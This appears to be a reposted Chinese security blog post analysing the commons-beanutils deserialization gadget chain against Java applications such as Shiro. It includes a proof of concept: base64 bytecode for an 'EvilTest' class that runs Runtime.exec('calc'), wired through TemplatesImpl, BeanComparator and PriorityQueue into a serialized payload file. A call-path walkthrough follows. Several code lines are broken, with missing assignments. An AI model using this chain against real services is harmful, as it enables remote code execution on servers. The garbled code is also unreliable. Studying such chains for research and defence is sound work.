java安全 commons-beanutils构造链分析
public static byte[] bytes =
Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2Fw YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5l TnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwv eHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNv bS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEA Bjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMM AB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUv QWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xl dEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUB ABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1By b2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEA DAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgAC
AAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg== ");
public static void SetFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, InvocationTargetException, NoSuchMethodException, IOException, ClassNotFoundException {
new TemplatesImpl();
SetFieldValue(obj, "_bytecodes", new byte[][]{bytes});
SetFieldValue(obj, "_name", "HelloTemplatesImpl");
SetFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//CB链
BeanComparator comparator = new BeanComparator();
//CC2
new PriorityQueue<Object>(2,comparator);
queue.add("1");
queue.add("2");
SetFieldValue(comparator,"property","outputProperties");
SetFieldValue(queue,"queue",new Object[]{obj,obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new
FileOutputStream("CBShiro.bin"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new
FileInputStream("CBShiro.bin"));
objectInputStream.readObject();
objectInputStream.close();
BeanComparator#compare中52行,可以看见会调用o1对象的property属性的get方法
Object value1 = PropertyUtils.getProperty(o1, this.property);
PropertyUtils.getProperty()让使用者可以直接调用任意 JavaBean 的getter方法,JavaBean 即指符合特定规范 的 Java 类
这里拿CC3前半部分来做测试,CC3直接接触是通过newTransformer来进行命令执行。而在newTransformer的上 层,有一个getOutput
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() - >TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() - >TransletClassLoader#defineClass()
可以看到在传入进outputProperties之后,就会执行命令
在上方中,已经分析完了BeanComparator#compare。现在只需要找到有哪出的readObject调用到了该 compare即可
new PriorityQueue<Object>(2,comparator);
queue.add("1");
queue.add("2");
SetFieldValue(comparator,"property","outputProperties");
SetFieldValue(queue,"queue",new Object[]{obj,obj});
该readObject如下
跟进heapify()
继续跟进siftDown()
该comparator也就是刚开始初始化给的comparator
而SetFieldValue(queue,"queue",new Object[]{obj,obj});,将queue改成了TemplatesImpl的实例化对象,在这过 程中,queue会赋给x
分析到这里,就是妥妥的一个命令执行了
关注公众号
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
原文始发于微信公众号(moonsec):java安全 commons-beanutils构造链分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论